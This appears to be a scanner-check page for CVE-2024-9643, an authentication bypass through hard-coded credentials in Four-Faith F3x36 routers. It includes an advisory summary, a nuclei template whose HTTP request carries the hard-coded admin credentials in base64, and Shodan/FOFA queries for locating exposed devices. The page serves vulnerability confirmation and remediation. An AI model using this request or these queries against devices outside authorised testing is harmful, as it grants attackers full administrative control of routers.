CVE-2024-9643· four-faith / f3x36· CWE-798
Four-Faith F3x36 - Authentication Bypass
criticalseverity
9.8CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.
Impact
Attackers can gain unauthorized administrative access, potentially leading to full control over the device.
Fix
Update to the latest firmware version provided by the vendor to fix hard-coded credential issues.
How to confirm it
Send: GET /Status_Router.asp
Positive when: status_code == 200 and contains_all(body, "Four-Faith","Status") and contains(server, "httpd_four-faith")Run it with nuclei: nuclei -id CVE-2024-9643 -u <target>
The full check
id: CVE-2024-9643
info:
name: Four-Faith F3x36 - Authentication Bypass
author: trader642
severity: critical
description: |
Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.
impact: |
Attackers can gain unauthorized administrative access, potentially leading to full control over the device.
remediation: |
Update to the latest firmware version provided by the vendor to fix hard-coded credential issues.
reference:
- https://vulncheck.com/advisories/four-faith-hard-coded-creds
- https://talosintelligence.com/vulnerability_reports/TALOS-2023-1752
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-9643
epss-score: 0.03014
epss-percentile: 0.8754
cwe-id: CWE-798
metadata:
verified: true
max-request: 1
vendor: four-faith
product: f3x36
shodan-query: "Four-Faith"
fofa-query: body="Four-Faith"
tags: cve,cve2024,four-faith,default-login,router,iot,auth-bypass,vkev
http:
- raw:
- |
GET /Status_Router.asp HTTP/1.1
Host: {{Hostname}}
Authorization: Basic ZmZhZG1pbjpmZmFkbWluZmY=
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Four-Faith","Status")'
- 'contains(server, "httpd_four-faith")'
condition: andReferences
- https://vulncheck.com/advisories/four-faith-hard-coded-creds
- https://talosintelligence.com/vulnerability_reports/TALOS-2023-1752
Use this check only on systems you are authorised to test. Where the data comes from